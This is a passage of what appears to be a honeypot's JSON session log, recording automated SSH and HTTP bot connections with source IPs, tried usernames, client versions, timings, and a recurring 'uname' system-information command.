  "src_ip": "2.57.121.112",
  "src_port": 18788,
  "username": "monae",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:42:30.793703+00:00",
  "ended_at": "2026-08-27T03:42:31.352416+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "883adc01-3eef-4505-bf90-54d475e0bc2f",
  "name": "deft-forlorn-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53010,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:39:49.096172+00:00",
  "ended_at": "2026-08-27T03:39:50.150134+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1daacead-c133-4a2d-99a4-74224d87a414",
  "name": "twilight-meadow-nightjar",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "113.31.186.197",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:36:13.361377+00:00",
  "ended_at": "2026-08-27T03:52:07.068556+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2352d67c-6e9d-492e-aca9-26a67b403af6",
  "name": "hollow-jaunty-otter",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.166.247.82",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:33:01.793712+00:00",
  "ended_at": "2026-08-27T03:48:07.021211+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18b45b8e-765c-4c27-9349-9262a24ab33a",
  "name": "humble-loyal-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 53905,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:27:21.641482+00:00",
  "ended_at": "2026-08-27T03:27:57.530347+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "812c0875-176c-406c-91ad-706505ff0072",
  "name": "hearty-daring-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 61867,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:25:49.490629+00:00",
  "ended_at": "2026-08-27T03:25:51.205339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e10bac28-ea88-4f99-ace7-a50ff54a8721",
  "name": "golden-faded-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 62072,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:18:36.564435+00:00",
  "ended_at": "2026-08-27T03:19:12.669936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4fc4596-ac87-4445-87bf-292f0ca19733",
  "name": "tawny-flinty-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 59260,
  "username": "joel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:16:39.671640+00:00",
  "ended_at": "2026-08-27T03:16:40.749827+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8465b8d3-32bb-4630-9439-ebd5665c52c7",
  "name": "misty-wiry-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 162,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:36.254166+00:00",
  "ended_at": "2026-08-27T03:16:39.257641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "072c2c61-95e7-4319-812f-4cf03f55c18f",
  "name": "golden-hidden-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56428,
  "username": "joel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:35.771311+00:00",
  "ended_at": "2026-08-27T03:16:40.751331+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "15b776e8-6c53-4278-b517-89cdd0d938b5",
  "name": "earnest-brave-vulture",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "81.196.20.142",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:16:23.114416+00:00",
  "ended_at": "2026-08-27T03:32:06.783306+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4412fff7-5e47-49b8-b631-fa42281e7c16",
  "name": "smooth-sterling-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35544,
  "username": "localhost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:16:19.788512+00:00",
  "ended_at": "2026-08-27T03:16:21.175334+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d9ab436-49c7-4389-83a4-18d57f5a1950",
  "name": "merry-keen-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55558,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 166,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:18.266253+00:00",
  "ended_at": "2026-08-27T03:16:20.864840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "131bbaf2-808a-43cd-bdcf-4d2d332a6e17",
  "name": "plush-crisp-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48362,
  "username": "localhost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:14.910114+00:00",
  "ended_at": "2026-08-27T03:16:21.176442+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "eca4dd1b-864b-4475-8a1b-eddb4778cbba",
  "name": "blunt-prairie-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:06.528956+00:00",
  "ended_at": "2026-08-27T03:16:12.371345+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "673fc83b-25ea-48b9-9afc-c52bcb4dce15",
  "name": "stoic-candid-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:04.162125+00:00",
  "ended_at": "2026-08-27T03:16:09.934447+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5314abb-59f0-4900-bbcf-159701ad13de",
  "name": "sooty-feathered-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:48.415803+00:00",
  "ended_at": "2026-08-27T03:15:54.400737+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bea6f738-b3fd-4439-b5c1-bcb4522bf320",
  "name": "brisk-leafy-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56728,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:46.487548+00:00",
  "ended_at": "2026-08-27T03:15:50.873398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a28ae4fd-9e00-4921-8ae2-eb02d0db64a4",
  "name": "solar-nameless-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:46.080934+00:00",
  "ended_at": "2026-08-27T03:15:51.431772+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f4c43f5-4f7d-4e97-af6b-54c536478e42",
  "name": "pleasant-brisk-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:36.538872+00:00",
  "ended_at": "2026-08-27T03:15:39.878406+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7a16e83-cbaa-443f-912e-82c1799f89aa",
  "name": "nimble-nameless-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:28.493557+00:00",
  "ended_at": "2026-08-27T03:15:32.596063+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "77ca5840-52af-43a0-9b39-bfe62daa9c3f",
  "name": "lanky-sunlit-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41178,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:15.954228+00:00",
  "ended_at": "2026-08-27T03:15:20.748085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b84e42db-4989-4c19-b951-4aa941682214",
  "name": "silent-hardy-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 270,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:11.973221+00:00",
  "ended_at": "2026-08-27T03:15:17.947709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c70930f6-dd8c-4ad5-af79-c76e8e9d88b0",
  "name": "vivid-rambling-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34970,
  "username": "ai",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:09.309856+00:00",
  "ended_at": "2026-08-27T03:15:13.769873+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "360c5bdf-cc17-4db1-8672-84c1fbe288aa",
  "name": "plush-fabled-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60378,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:55.112511+00:00",
  "ended_at": "2026-08-27T03:15:00.167596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d7c52f9-ad61-415f-ae25-afb65385a79b",
  "name": "grumpy-pristine-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56788,
  "username": "core",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:14:52.980212+00:00",
  "ended_at": "2026-08-27T03:14:54.867564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98541fa5-680f-4267-8631-728a091a51f9",
  "name": "frosty-glacial-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:52.037798+00:00",
  "ended_at": "2026-08-27T03:14:57.969069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff6c802a-a7a8-4fef-8fe8-04bf24d4496a",
  "name": "tangled-coral-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42486,
  "username": "core",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:48.580060+00:00",
  "ended_at": "2026-08-27T03:14:54.868956+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "f51fdd4e-bad9-4efd-85bd-fb41e839f212",
  "name": "meadow-thrifty-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38576,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:38.904777+00:00",
  "ended_at": "2026-08-27T03:14:44.865489+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5cfbeddf-9a54-4d07-b6fa-604cc4be1b30",
  "name": "solemn-quiet-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:38.878182+00:00",
  "ended_at": "2026-08-27T03:14:42.485873+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f6bfcdd-611f-4d5b-8c9a-9f3f6d536aaa",
  "name": "sleepy-rustic-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:21.696858+00:00",
  "ended_at": "2026-08-27T03:14:26.224393+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d74a0ba3-aaf5-4451-86d9-e3074ab0ce11",
  "name": "vigilant-sooty-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:19.724043+00:00",
  "ended_at": "2026-08-27T03:14:22.755711+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5bfbe3b0-3a54-4bcd-8789-54964a00f291",
  "name": "serene-proud-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60426,
  "username": "grid",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:14:13.322909+00:00",
  "ended_at": "2026-08-27T03:14:15.819693+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3a3c434-99a2-4bd2-a046-80208265bc34",
  "name": "smooth-boreal-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48916,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:08.388102+00:00",
  "ended_at": "2026-08-27T03:14:14.245561+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49cd9559-a33b-48a3-828e-e34dbdf8c0ec",
  "name": "brazen-ashen-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41000,
  "username": "grid",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 407,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:08.001163+00:00",
  "ended_at": "2026-08-27T03:14:15.820560+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "2ff2c324-2b8a-451e-947d-cb1a2170f2fd",
  "name": "lanky-dusty-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:03.802486+00:00",
  "ended_at": "2026-08-27T03:14:08.142027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff391039-4ad4-42f4-8198-8bbd4bdef91a",
  "name": "lunar-fringed-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41492,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:51.801314+00:00",
  "ended_at": "2026-08-27T03:13:55.971351+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5abfd0ed-8e72-43dc-a140-77f50fab2408",
  "name": "amber-dusty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38656,
  "username": "kevin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:13:51.378775+00:00",
  "ended_at": "2026-08-27T03:13:53.058624+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f789ff7-fb01-4fbd-b7e7-35459a1d0287",
  "name": "coral-blunt-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44908,
  "username": "kevin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 430,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:47.735746+00:00",
  "ended_at": "2026-08-27T03:13:53.056519+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "958404a2-6b91-44bd-b4a5-3b96c8374c07",
  "name": "bold-chilly-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 38570,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:13:44.931586+00:00",
  "ended_at": "2026-08-27T03:13:47.652449+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7031b66-7c8c-48e2-82f6-ea23c6f313b9",
  "name": "northern-frosty-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44974,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:42.287219+00:00",
  "ended_at": "2026-08-27T03:13:48.274624+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9783a0ca-6248-4bec-a975-1e4f684dfc18",
  "name": "thawing-airy-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34294,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:39.918894+00:00",
  "ended_at": "2026-08-27T03:13:47.653738+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "e4c361ab-4721-4ce4-8520-3143c419c102",
  "name": "restless-quiet-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34358,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:36.640582+00:00",
  "ended_at": "2026-08-27T03:13:41.289570+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b771e799-5945-42e8-abb1-4eed4d2ecc93",
  "name": "emerald-zealous-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47890,
  "username": "zabbix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:13:26.849074+00:00",
  "ended_at": "2026-08-27T03:13:30.244599+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf3d708a-2611-4e46-b929-40f25520f707",
  "name": "hollow-flinty-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60320,
  "username": "zabbix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:21.162674+00:00",
  "ended_at": "2026-08-27T03:13:30.243498+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "e1fc3ae1-dfa6-44b9-aac0-9e0d09c4039e",
  "name": "vaulted-fleeting-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35798,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:13.735691+00:00",
  "ended_at": "2026-08-27T03:13:18.772630+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "695c4a85-7785-4cf8-8bca-601c761691e1",
  "name": "polar-genial-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41524,
  "username": "nutanix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:13:04.059120+00:00",
  "ended_at": "2026-08-27T03:13:06.843533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "598a26bf-a322-4dc9-94f6-b53e10aa89cd",
  "name": "tidal-tangled-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:01.463580+00:00",
  "ended_at": "2026-08-27T03:13:04.494018+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d9f4bdd-7930-468a-9caf-bcb80db854a3",
  "name": "plucky-forlorn-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41436,
  "username": "nutanix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:00.061136+00:00",
  "ended_at": "2026-08-27T03:13:06.844618+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "bd10d9b0-ea11-43fe-9b2c-7cc6a742548d",
  "name": "velvet-icy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:57.563844+00:00",
  "ended_at": "2026-08-27T03:13:03.220380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
